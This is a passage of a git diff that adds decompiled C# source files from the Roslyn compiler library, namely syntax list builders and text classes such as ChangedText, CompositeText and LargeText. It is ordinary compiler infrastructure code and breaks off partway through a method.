(SyntaxNodeOrToken nodeOrToken in nodeOrTokens) + { + Add(nodeOrToken); + } + } + + internal void RemoveLast() + { + _count--; + _nodes[_count] = null; + } + + private void Grow(int size) + { + GreenNode[] array = new GreenNode[size]; + Array.Copy(_nodes, array, _nodes.Length); + _nodes = array; + } + + public SyntaxNodeOrTokenList ToList() + { + if (_count > 0) + { + switch (_count) + { + case 1: + if (_nodes[0].IsToken) + { + return new SyntaxNodeOrTokenList(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(new GreenNode[1] { _nodes[0] }).CreateRed(), 0); + } + return new SyntaxNodeOrTokenList(_nodes[0].CreateRed(), 0); + case 2: + return new SyntaxNodeOrTokenList(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0], _nodes[1]).CreateRed(), 0); + case 3: + return new SyntaxNodeOrTokenList(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0], _nodes[1], _nodes[2]).CreateRed(), 0); + default: + { + ArrayElement[] array = new ArrayElement[_count]; + for (int i = 0; i < _count; i++) + { + array[i].Value = _nodes[i]; + } + return new SyntaxNodeOrTokenList(Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(array).CreateRed(), 0); + } + } + } + return default(SyntaxNodeOrTokenList); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxTokenListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxTokenListBuilder.cs new file mode 100644 index 0000000..b4d0f2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxTokenListBuilder.cs @@ -0,0 +1,98 @@ +using System; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal class SyntaxTokenListBuilder +{ + private GreenNode?[] _nodes; + + private int _count; + + public int Count => _count; + + public SyntaxTokenListBuilder(int size) + { + _nodes = new GreenNode[size]; + _count = 0; + } + + public static SyntaxTokenListBuilder Create() + { + return new SyntaxTokenListBuilder(8); + } + + public void Add(SyntaxToken item) + { + Add(item.Node); + } + + internal void Add(GreenNode item) + { + CheckSpace(1); + _nodes[_count++] = item; + } + + public void Add(SyntaxTokenList list) + { + Add(list, 0, list.Count); + } + + public void Add(SyntaxTokenList list, int offset, int length) + { + CheckSpace(length); + list.CopyTo(offset, _nodes, _count, length); + _count += length; + } + + public void Add(SyntaxToken[] list) + { + Add(list, 0, list.Length); + } + + public void Add(SyntaxToken[] list, int offset, int length) + { + CheckSpace(length); + for (int i = 0; i < length; i++) + { + _nodes[_count + i] = list[offset + i].Node; + } + _count += length; + } + + private void CheckSpace(int delta) + { + int num = _count + delta; + if (num > _nodes.Length) + { + Grow(num); + } + } + + private void Grow(int newSize) + { + GreenNode[] array = new GreenNode[newSize]; + Array.Copy(_nodes, array, _nodes.Length); + _nodes = array; + } + + public SyntaxTokenList ToList() + { + if (_count > 0) + { + return _count switch + { + 1 => new SyntaxTokenList(null, _nodes[0], 0, 0), + 2 => new SyntaxTokenList(null, Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0], _nodes[1]), 0, 0), + 3 => new SyntaxTokenList(null, Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0], _nodes[1], _nodes[2]), 0, 0), + _ => new SyntaxTokenList(null, Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes, _count), 0, 0), + }; + } + return default(SyntaxTokenList); + } + + public static implicit operator SyntaxTokenList(SyntaxTokenListBuilder builder) + { + return builder.ToList(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxTriviaListBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxTriviaListBuilder.cs new file mode 100644 index 0000000..25fffdd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/SyntaxTriviaListBuilder.cs @@ -0,0 +1,142 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal class SyntaxTriviaListBuilder +{ + private SyntaxTrivia[] _nodes; + + private int _count; + + public int Count => _count; + + public SyntaxTrivia this[int index] + { + get + { + if (index < 0 || index >= _count) + { + throw new IndexOutOfRangeException(); + } + return _nodes[index]; + } + } + + public SyntaxTriviaListBuilder(int size) + { + _nodes = new SyntaxTrivia[size]; + } + + public static SyntaxTriviaListBuilder Create() + { + return new SyntaxTriviaListBuilder(4); + } + + public static SyntaxTriviaList Create(IEnumerable? trivia) + { + if (trivia == null) + { + return default(SyntaxTriviaList); + } + SyntaxTriviaListBuilder syntaxTriviaListBuilder = Create(); + syntaxTriviaListBuilder.AddRange(trivia); + return syntaxTriviaListBuilder.ToList(); + } + + public void Clear() + { + _count = 0; + } + + public void AddRange(IEnumerable? items) + { + if (items == null) + { + return; + } + foreach (SyntaxTrivia item in items) + { + Add(item); + } + } + + public SyntaxTriviaListBuilder Add(SyntaxTrivia item) + { + if (_count >= _nodes.Length) + { + Grow((_count == 0) ? 8 : (_nodes.Length * 2)); + } + _nodes[_count++] = item; + return this; + } + + public void Add(SyntaxTrivia[] items) + { + Add(items, 0, items.Length); + } + + public void Add(SyntaxTrivia[] items, int offset, int length) + { + if (_count + length > _nodes.Length) + { + Grow(_count + length); + } + Array.Copy(items, offset, _nodes, _count, length); + _count += length; + } + + public void Add(in SyntaxTriviaList list) + { + Add(in list, 0, list.Count); + } + + public void Add(in SyntaxTriviaList list, int offset, int length) + { + if (_count + length > _nodes.Length) + { + Grow(_count + length); + } + list.CopyTo(offset, _nodes, _count, length); + _count += length; + } + + private void Grow(int size) + { + SyntaxTrivia[] array = new SyntaxTrivia[size]; + Array.Copy(_nodes, array, _nodes.Length); + _nodes = array; + } + + public static implicit operator SyntaxTriviaList(SyntaxTriviaListBuilder builder) + { + return builder.ToList(); + } + + public SyntaxTriviaList ToList() + { + if (_count > 0) + { + switch (_count) + { + case 1: + return new SyntaxTriviaList(default(SyntaxToken), _nodes[0].UnderlyingNode, 0); + case 2: + return new SyntaxTriviaList(default(SyntaxToken), Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0].UnderlyingNode, _nodes[1].UnderlyingNode), 0); + case 3: + return new SyntaxTriviaList(default(SyntaxToken), Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(_nodes[0].UnderlyingNode, _nodes[1].UnderlyingNode, _nodes[2].UnderlyingNode), 0); + default: + { + ArrayElement[] array = new ArrayElement[_count]; + for (int i = 0; i < _count; i++) + { + array[i].Value = _nodes[i].UnderlyingNode; + } + return new SyntaxTriviaList(default(SyntaxToken), Microsoft.CodeAnalysis.Syntax.InternalSyntax.SyntaxList.List(array), 0); + } + } + } + return default(SyntaxTriviaList); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/TranslationSyntaxReference.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/TranslationSyntaxReference.cs new file mode 100644 index 0000000..b1e0dd3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Syntax/TranslationSyntaxReference.cs @@ -0,0 +1,25 @@ +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Syntax; + +internal abstract class TranslationSyntaxReference : SyntaxReference +{ + private readonly SyntaxReference _reference; + + public sealed override TextSpan Span => _reference.Span; + + public sealed override SyntaxTree SyntaxTree => _reference.SyntaxTree; + + protected TranslationSyntaxReference(SyntaxReference reference) + { + _reference = reference; + } + + public sealed override SyntaxNode GetSyntax(CancellationToken cancellationToken = default(CancellationToken)) + { + return Translate(_reference, cancellationToken); + } + + protected abstract SyntaxNode Translate(SyntaxReference reference, CancellationToken cancellationToken); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/ChangedText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/ChangedText.cs new file mode 100644 index 0000000..f3f8933 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/ChangedText.cs @@ -0,0 +1,275 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class ChangedText : SourceText +{ + private class ChangeInfo + { + public ImmutableArray ChangeRanges { get; } + + public WeakReference WeakOldText { get; } + + public ChangeInfo? Previous { get; private set; } + + public ChangeInfo(ImmutableArray changeRanges, WeakReference weakOldText, ChangeInfo? previous) + { + ChangeRanges = changeRanges; + WeakOldText = weakOldText; + Previous = previous; + Clean(); + } + + private void Clean() + { + ChangeInfo changeInfo = this; + for (ChangeInfo changeInfo2 = this; changeInfo2 != null; changeInfo2 = changeInfo2.Previous) + { + if (changeInfo2.WeakOldText.TryGetTarget(out SourceText _)) + { + changeInfo = changeInfo2; + } + } + while (changeInfo != null) + { + ChangeInfo previous = changeInfo.Previous; + changeInfo.Previous = null; + changeInfo = previous; + } + } + } + + internal static class TestAccessor + { + public static ImmutableArray Merge(ImmutableArray oldChanges, ImmutableArray newChanges) + { + return TextChangeRangeExtensions.Merge(oldChanges, newChanges); + } + } + + private readonly SourceText _newText; + + private readonly ChangeInfo _info; + + public override Encoding? Encoding => _newText.Encoding; + + public IEnumerable Changes => _info.ChangeRanges; + + public override int Length => _newText.Length; + + internal override int StorageSize => _newText.StorageSize; + + internal override ImmutableArray Segments => _newText.Segments; + + internal override SourceText StorageKey => _newText.StorageKey; + + public override char this[int position] => _newText[position]; + + public ChangedText(SourceText oldText, SourceText newText, ImmutableArray changeRanges) + : base(default(ImmutableArray), oldText.ChecksumAlgorithm) + { + RequiresChangeRangesAreValid(oldText, newText, changeRanges); + _newText = newText; + _info = new ChangeInfo(changeRanges, new WeakReference(oldText), (oldText as ChangedText)?._info); + } + + private static void RequiresChangeRangesAreValid(SourceText oldText, SourceText newText, ImmutableArray changeRanges) + { + int num = 0; + ImmutableArray.Enumerator enumerator = changeRanges.GetEnumerator(); + while (enumerator.MoveNext()) + { + TextChangeRange current = enumerator.Current; + num += current.NewLength - current.Span.Length; + } + if (oldText.Length + num != newText.Length) + { + throw new InvalidOperationException("Delta length difference of change ranges didn't match before/after text length."); + } + int num2 = 0; + enumerator = changeRanges.GetEnumerator(); + while (enumerator.MoveNext()) + { + TextChangeRange current2 = enumerator.Current; + if (current2.Span.Start < num2) + { + throw new InvalidOperationException("Change preceded current position in oldText"); + } + if (current2.Span.Start > oldText.Length) + { + throw new InvalidOperationException("Change start was after the end of oldText"); + } + if (current2.Span.End > oldText.Length) + { + throw new InvalidOperationException("Change end was after the end of oldText"); + } + num2 = current2.Span.End; + } + } + + public override string ToString(TextSpan span) + { + return _newText.ToString(span); + } + + public override SourceText GetSubText(TextSpan span) + { + return _newText.GetSubText(span); + } + + public override void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count) + { + _newText.CopyTo(sourceIndex, destination, destinationIndex, count); + } + + public override SourceText WithChanges(IEnumerable changes) + { + if (_newText.WithChanges(changes) is ChangedText changedText) + { + return new ChangedText(this, changedText._newText, changedText._info.ChangeRanges); + } + return this; + } + + public override IReadOnlyList GetChangeRanges(SourceText oldText) + { + if (oldText == null) + { + throw new ArgumentNullException("oldText"); + } + if (this == oldText) + { + return TextChangeRange.NoChanges; + } + if (_info.WeakOldText.TryGetTarget(out SourceText target) && target == oldText) + { + return _info.ChangeRanges; + } + if (IsChangedFrom(oldText)) + { + IReadOnlyList> changesBetween = GetChangesBetween(oldText, this); + if (changesBetween.Count > 1) + { + return Merge(changesBetween); + } + } + if (target != null && target.GetChangeRanges(oldText).Count == 0) + { + return _info.ChangeRanges; + } + return ImmutableArray.Create(new TextChangeRange(new TextSpan(0, oldText.Length), _newText.Length)); + } + + private bool IsChangedFrom(SourceText oldText) + { + for (ChangeInfo changeInfo = _info; changeInfo != null; changeInfo = changeInfo.Previous) + { + if (changeInfo.WeakOldText.TryGetTarget(out SourceText target) && target == oldText) + { + return true; + } + } + return false; + } + + private static IReadOnlyList> GetChangesBetween(SourceText oldText, ChangedText newText) + { + List> list = new List>(); + ChangeInfo changeInfo = newText._info; + list.Add(changeInfo.ChangeRanges); + while (changeInfo != null) + { + changeInfo.WeakOldText.TryGetTarget(out SourceText target); + if (target == oldText) + { + return list; + } + changeInfo = changeInfo.Previous; + if (changeInfo != null) + { + list.Insert(0, changeInfo.ChangeRanges); + } + } + list.Clear(); + return list; + } + + private static ImmutableArray Merge(IReadOnlyList> changeSets) + { + ImmutableArray immutableArray = changeSets[0]; + for (int i = 1; i < changeSets.Count; i++) + { + immutableArray = TextChangeRangeExtensions.Merge(immutableArray, changeSets[i]); + } + return immutableArray; + } + + protected override TextLineCollection GetLinesCore() + { + if (!_info.WeakOldText.TryGetTarget(out SourceText target) || !target.TryGetLines(out TextLineCollection lines)) + { + return base.GetLinesCore(); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(lines.Count); + instance.Add(0); + int num = 0; + int num2 = 0; + bool flag = false; + ImmutableArray.Enumerator enumerator = _info.ChangeRanges.GetEnumerator(); + while (enumerator.MoveNext()) + { + TextChangeRange current = enumerator.Current; + if (current.Span.Start > num) + { + if (flag && _newText[num + num2] == '\n') + { + instance.RemoveLast(); + } + LinePositionSpan linePositionSpan = lines.GetLinePositionSpan(TextSpan.FromBounds(num, current.Span.Start)); + for (int i = linePositionSpan.Start.Line + 1; i <= linePositionSpan.End.Line; i++) + { + instance.Add(lines[i].Start + num2); + } + flag = target[current.Span.Start - 1] == '\r'; + if (flag && current.Span.Start < target.Length && target[current.Span.Start] == '\n') + { + instance.Add(current.Span.Start + num2); + } + } + if (current.NewLength > 0) + { + int num3 = current.Span.Start + num2; + SourceText subText = GetSubText(new TextSpan(num3, current.NewLength)); + if (flag && subText[0] == '\n') + { + instance.RemoveLast(); + } + for (int j = 1; j < subText.Lines.Count; j++) + { + instance.Add(num3 + subText.Lines[j].Start); + } + flag = subText[current.NewLength - 1] == '\r'; + } + num = current.Span.End; + num2 += current.NewLength - current.Span.Length; + } + if (num < target.Length) + { + if (flag && _newText[num + num2] == '\n') + { + instance.RemoveLast(); + } + LinePositionSpan linePositionSpan2 = lines.GetLinePositionSpan(TextSpan.FromBounds(num, target.Length)); + for (int k = linePositionSpan2.Start.Line + 1; k <= linePositionSpan2.End.Line; k++) + { + instance.Add(lines[k].Start + num2); + } + } + return new LineInfo(this, instance.ToArrayAndFree()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/CompositeText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/CompositeText.cs new file mode 100644 index 0000000..f37f766 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/CompositeText.cs @@ -0,0 +1,285 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class CompositeText : SourceText +{ + private readonly ImmutableArray _segments; + + private readonly int _length; + + private readonly int _storageSize; + + private readonly int[] _segmentOffsets; + + private readonly Encoding? _encoding; + + internal const int TARGET_SEGMENT_COUNT_AFTER_REDUCTION = 32; + + internal const int MAXIMUM_SEGMENT_COUNT_BEFORE_REDUCTION = 64; + + private const int INITIAL_SEGMENT_SIZE_FOR_COMBINING = 32; + + private const int MAXIMUM_SEGMENT_SIZE_FOR_COMBINING = 134217727; + + private static readonly ObjectPool> s_uniqueSourcesPool = new ObjectPool>(() => new HashSet(), 5); + + public override Encoding? Encoding => _encoding; + + public override int Length => _length; + + internal override int StorageSize => _storageSize; + + internal override ImmutableArray Segments => _segments; + + public override char this[int position] + { + get + { + GetIndexAndOffset(position, out var index, out var offset); + return _segments[index][offset]; + } + } + + private CompositeText(ImmutableArray segments, Encoding? encoding, SourceHashAlgorithm checksumAlgorithm) + : base(default(ImmutableArray), checksumAlgorithm) + { + _segments = segments; + _encoding = encoding; + ComputeLengthAndStorageSize(segments, out _length, out _storageSize); + _segmentOffsets = new int[segments.Length]; + int num = 0; + for (int i = 0; i < _segmentOffsets.Length; i++) + { + _segmentOffsets[i] = num; + num += _segments[i].Length; + } + } + + public override SourceText GetSubText(TextSpan span) + { + CheckSubSpan(span); + int start = span.Start; + int num = span.Length; + GetIndexAndOffset(start, out var index, out var offset); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + try + { + while (index < _segments.Length && num > 0) + { + SourceText sourceText = _segments[index]; + int num2 = Math.Min(num, sourceText.Length - offset); + AddSegments(instance, sourceText.GetSubText(new TextSpan(offset, num2))); + num -= num2; + index++; + offset = 0; + } + return ToSourceText(instance, this, adjustSegments: false); + } + finally + { + instance.Free(); + } + } + + private void GetIndexAndOffset(int position, out int index, out int offset) + { + int num = _segmentOffsets.BinarySearch(position); + index = ((num >= 0) ? num : (~num - 1)); + offset = position - _segmentOffsets[index]; + } + + private bool CheckCopyToArguments(int sourceIndex, char[] destination, int destinationIndex, int count) + { + if (destination == null) + { + throw new ArgumentNullException("destination"); + } + if (sourceIndex < 0) + { + throw new ArgumentOutOfRangeException("sourceIndex"); + } + if (destinationIndex < 0) + { + throw new ArgumentOutOfRangeException("destinationIndex"); + } + if (count < 0 || count > Length - sourceIndex || count > destination.Length - destinationIndex) + { + throw new ArgumentOutOfRangeException("count"); + } + return count > 0; + } + + public override void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count) + { + if (CheckCopyToArguments(sourceIndex, destination, destinationIndex, count)) + { + GetIndexAndOffset(sourceIndex, out var index, out var offset); + while (index < _segments.Length && count > 0) + { + SourceText sourceText = _segments[index]; + int num = Math.Min(count, sourceText.Length - offset); + sourceText.CopyTo(offset, destination, destinationIndex, num); + count -= num; + destinationIndex += num; + index++; + offset = 0; + } + } + } + + internal static void AddSegments(ArrayBuilder segments, SourceText text) + { + if (!(text is CompositeText compositeText)) + { + segments.Add(text); + } + else + { + segments.AddRange(compositeText._segments); + } + } + + internal static SourceText ToSourceText(ArrayBuilder segments, SourceText original, bool adjustSegments) + { + if (adjustSegments) + { + TrimInaccessibleText(segments); + ReduceSegmentCountIfNecessary(segments); + } + if (segments.Count == 0) + { + return SourceText.From(string.Empty, original.Encoding, original.ChecksumAlgorithm); + } + if (segments.Count == 1) + { + return segments[0]; + } + return new CompositeText(segments.ToImmutable(), original.Encoding, original.ChecksumAlgorithm); + } + + private static void ReduceSegmentCountIfNecessary(ArrayBuilder segments) + { + if (segments.Count > 64) + { + int minimalSegmentSizeToUseForCombining = GetMinimalSegmentSizeToUseForCombining(segments); + CombineSegments(segments, minimalSegmentSizeToUseForCombining); + } + } + + private static int GetMinimalSegmentSizeToUseForCombining(ArrayBuilder segments) + { + for (int num = 32; num <= 134217727; num *= 2) + { + if (GetSegmentCountIfCombined(segments, num) <= 32) + { + return num; + } + } + return 134217727; + } + + private static int GetSegmentCountIfCombined(ArrayBuilder segments, int segmentSize) + { + int num = 0; + for (int i = 0; i < segments.Count - 1; i++) + { + if (segments[i].Length > segmentSize) + { + continue; + } + int num2 = 1; + for (int j = i + 1; j < segments.Count; j++) + { + if (segments[j].Length <= segmentSize) + { + num2++; + } + } + if (num2 > 1) + { + int num3 = num2 - 1; + num += num3; + i += num3; + } + } + return segments.Count - num; + } + + private static void CombineSegments(ArrayBuilder segments, int segmentSize) + { + for (int i = 0; i < segments.Count - 1; i++) + { + if (segments[i].Length > segmentSize) + { + continue; + } + int num = segments[i].Length; + int num2 = 1; + for (int j = i + 1; j < segments.Count; j++) + { + if (segments[j].Length <= segmentSize) + { + num2++; + num += segments[j].Length; + } + } + if (num2 > 1) + { + Encoding? encoding = segments[i].Encoding; + SourceHashAlgorithm checksumAlgorithm = segments[i].ChecksumAlgorithm; + SourceTextWriter sourceTextWriter = SourceTextWriter.Create(encoding, checksumAlgorithm, num); + while (num2 > 0) + { + segments[i].Write(sourceTextWriter); + segments.RemoveAt(i); + num2--; + } + SourceText item = sourceTextWriter.ToSourceText(); + segments.Insert(i, item); + } + } + } + + private static void ComputeLengthAndStorageSize(IReadOnlyList segments, out int length, out int size) + { + HashSet hashSet = s_uniqueSourcesPool.Allocate(); + length = 0; + for (int i = 0; i < segments.Count; i++) + { + SourceText sourceText = segments[i]; + length += sourceText.Length; + hashSet.Add(sourceText.StorageKey); + } + size = 0; + foreach (SourceText item in hashSet) + { + size += item.StorageSize; + } + hashSet.Clear(); + s_uniqueSourcesPool.Free(hashSet); + } + + private static void TrimInaccessibleText(ArrayBuilder segments) + { + ComputeLengthAndStorageSize(segments, out var length, out var size); + if (length < size / 2) + { + Encoding? encoding = segments[0].Encoding; + SourceHashAlgorithm checksumAlgorithm = segments[0].ChecksumAlgorithm; + SourceTextWriter sourceTextWriter = SourceTextWriter.Create(encoding, checksumAlgorithm, length); + ArrayBuilder.Enumerator enumerator = segments.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Write(sourceTextWriter); + } + segments.Clear(); + segments.Add(sourceTextWriter.ToSourceText()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/EncodedStringText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/EncodedStringText.cs new file mode 100644 index 0000000..b298375 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/EncodedStringText.cs @@ -0,0 +1,113 @@ +using System; +using System.IO; +using System.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +internal static class EncodedStringText +{ + internal static class TestAccessor + { + internal static SourceText Create(Stream stream, Lazy getEncoding, Encoding defaultEncoding, SourceHashAlgorithm checksumAlgorithm, bool canBeEmbedded) + { + return EncodedStringText.Create(stream, getEncoding, defaultEncoding, checksumAlgorithm, canBeEmbedded); + } + + internal static SourceText Decode(Stream data, Encoding encoding, SourceHashAlgorithm checksumAlgorithm, bool throwIfBinaryDetected, bool canBeEmbedded) + { + return EncodedStringText.Decode(data, encoding, checksumAlgorithm, throwIfBinaryDetected, canBeEmbedded); + } + } + + private const int LargeObjectHeapLimitInChars = 40960; + + private static readonly Encoding s_utf8Encoding = new UTF8Encoding(encoderShouldEmitUTF8Identifier: false, throwOnInvalidBytes: true); + + private static readonly Lazy s_fallbackEncoding = new Lazy(CreateFallbackEncoding); + + internal static Encoding CreateFallbackEncoding() + { + try + { + if (CodePagesEncodingProvider.Instance != null) + { + Encoding.RegisterProvider(CodePagesEncodingProvider.Instance); + } + return Encoding.GetEncoding(0) ?? Encoding.GetEncoding(1252); + } + catch (NotSupportedException) + { + return Encoding.GetEncoding("Latin1"); + } + } + + internal static SourceText Create(Stream stream, Encoding? defaultEncoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1, bool canBeEmbedded = false) + { + return Create(stream, s_fallbackEncoding, defaultEncoding, checksumAlgorithm, canBeEmbedded); + } + + internal static SourceText Create(Stream stream, Lazy getEncoding, Encoding? defaultEncoding = null, SourceHashAlgorithm checksumAlgorithm = SourceHashAlgorithm.Sha1, bool canBeEmbedded = false) + { + bool flag = defaultEncoding == null; + if (flag) + { + try + { + return Decode(stream, s_utf8Encoding, checksumAlgorithm, throwIfBinaryDetected: false, canBeEmbedded); + } + catch (DecoderFallbackException) + { + } + } + try + { + return Decode(stream, defaultEncoding ?? getEncoding.Value, checksumAlgorithm, flag, canBeEmbedded); + } + catch (DecoderFallbackException ex2) + { + throw new InvalidDataException(ex2.Message); + } + } + + private static SourceText Decode(Stream data, Encoding encoding, SourceHashAlgorithm checksumAlgorithm, bool throwIfBinaryDetected = false, bool canBeEmbedded = false) + { + if (data.CanSeek) + { + data.Seek(0L, SeekOrigin.Begin); + if (encoding.GetMaxCharCountOrThrowIfHuge(data) < 40960 && TryGetBytesFromStream(data, out var bytes) && bytes.Offset == 0 && bytes.Array != null) + { + return SourceText.From(bytes.Array, (int)data.Length, encoding, checksumAlgorithm, throwIfBinaryDetected, canBeEmbedded); + } + } + return SourceText.From(data, encoding, checksumAlgorithm, throwIfBinaryDetected, canBeEmbedded); + } + + internal static bool TryGetBytesFromStream(Stream data, out ArraySegment bytes) + { + if (data is MemoryStream memoryStream) + { + return memoryStream.TryGetBuffer(out bytes); + } + if (data is FileStream stream) + { + return TryGetBytesFromFileStream(stream, out bytes); + } + bytes = new ArraySegment(Array.Empty()); + return false; + } + + private static bool TryGetBytesFromFileStream(FileStream stream, out ArraySegment bytes) + { + int num = (int)stream.Length; + if (num == 0) + { + bytes = new ArraySegment(Array.Empty()); + return true; + } + byte[] array = new byte[num]; + bool flag = stream.TryReadAll(array, 0, num) == num; + bytes = (flag ? new ArraySegment(array) : new ArraySegment(Array.Empty())); + return flag; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LargeText.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LargeText.cs new file mode 100644 index 0000000..9e848d3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Text/LargeText.cs @@ -0,0 +1,231 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Text; + +internal sealed class LargeText : SourceText +{ + internal const int ChunkSize = 40960; + + private readonly ImmutableArray _chunks; + + private readonly int[] _chunkStartOffsets; + + private readonly int _length; + + private readonly Encoding? _encodingOpt; + + public override char this[int position] + { + get + { + int indexFromPosition = GetIndexFromPosition(position); + return _chunks[indexFromPosition][position - _chunkStartOffsets[indexFromPosition]]; + } + } + + public override Encoding? Encoding => _encodingOpt; + + public override int Length => _length; + + internal LargeText(ImmutableArray chunks, Encoding? encodingOpt, ImmutableArray checksum, SourceHashAlgorithm checksumAlgorithm, ImmutableArray embeddedTextBlob) + : base(checksum, checksumAlgorithm, embeddedTextBlob) + { + _chunks = chunks; + _encodingOpt = encodingOpt; + _chunkStartOffsets = new int[chunks.Length]; + int num = 0; + for (int i = 0; i < chunks.Length; i++) + { + _chunkStartOffsets[i] = num; + num += chunks[i].Length; + } + _length = num; + } + + internal LargeText(ImmutableArray chunks, Encoding? encodingOpt, SourceHashAlgorithm checksumAlgorithm) + : this(chunks, encodingOpt, default(ImmutableArray), checksumAlgorithm, default(ImmutableArray)) + { + } + + internal static SourceText Decode(Stream stream, Encoding encoding, SourceHashAlgorithm checksumAlgorithm, bool throwIfBinaryDetected, bool canBeEmbedded) + { + stream.Seek(0L, SeekOrigin.Begin); + long length = stream.Length; + if (length == 0L) + { + return SourceText.From(string.Empty, encoding, checksumAlgorithm); + } + int maxCharCountOrThrowIfHuge = encoding.GetMaxCharCountOrThrowIfHuge(stream); + int val = (int)length; + using StreamReader streamReader = new StreamReader(stream, encoding, detectEncodingFromByteOrderMarks: true, Math.Min(val, 4096), leaveOpen: true); + return new LargeText(ReadChunksFromTextReader(streamReader, maxCharCountOrThrowIfHuge, throwIfBinaryDetected), checksum: SourceText.CalculateChecksum(stream, checksumAlgorithm), embeddedTextBlob: canBeEmbedded ? EmbeddedText.CreateBlob(stream) : default(ImmutableArray), encodingOpt: streamReader.CurrentEncoding, checksumAlgorithm: checksumAlgorithm); + } + + internal static SourceText Decode(TextReader reader, int length, Encoding? encodingOpt, SourceHashAlgorithm checksumAlgorithm) + { + if (length == 0) + { + return SourceText.From(string.Empty, encodingOpt, checksumAlgorithm); + } + return new LargeText(ReadChunksFromTextReader(reader, length, throwIfBinaryDetected: false), encodingOpt, checksumAlgorithm); + } + + private static ImmutableArray ReadChunksFromTextReader(TextReader reader, int maxCharRemainingGuess, bool throwIfBinaryDetected) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(1 + maxCharRemainingGuess / 40960); + while (reader.Peek() != -1) + { + int num = 40960; + if (maxCharRemainingGuess < 40960) + { + num = Math.Max(maxCharRemainingGuess - 64, 64); + } + char[] array = new char[num]; + int num2 = reader.ReadBlock(array, 0, array.Length); + if (num2 == 0) + { + break; + } + maxCharRemainingGuess -= num2; + if (num2 < array.Length) + { + Array.Resize(ref array, num2); + } + if (throwIfBinaryDetected && SourceText.IsBinary(array)) + { + throw new InvalidDataException(); + } + instance.Add(array); + } + return instance.ToImmutableAndFree(); + } + + private int GetIndexFromPosition(int position) + { + int num = _chunkStartOffsets.BinarySearch(position); + if (num < 0) + { + return ~num - 1; + } + return num; + } + + public override void CopyTo(int sourceIndex, char[] destination, int destinationIndex, int count) + { + if (count == 0) + { + return; + } + int num = GetIndexFromPosition(sourceIndex); + int num2 = sourceIndex - _chunkStartOffsets[num]; + while (true) + { + char[] array = _chunks[num]; + int num3 = Math.Min(array.Length - num2, count); + Array.Copy(array, num2, destination, destinationIndex, num3); + count -= num3; + if (count > 0) + { + destinationIndex += num3; + num2 = 0; + num++; + continue; + } + break; + } + } + + public override void Write(TextWriter writer, TextSpan span, CancellationToken cancellationToken = default(CancellationToken)) + { + if (span.Start < 0 || span.Start > _length || span.End > _length) + { + throw new ArgumentOutOfRangeException("span"); + } + int num 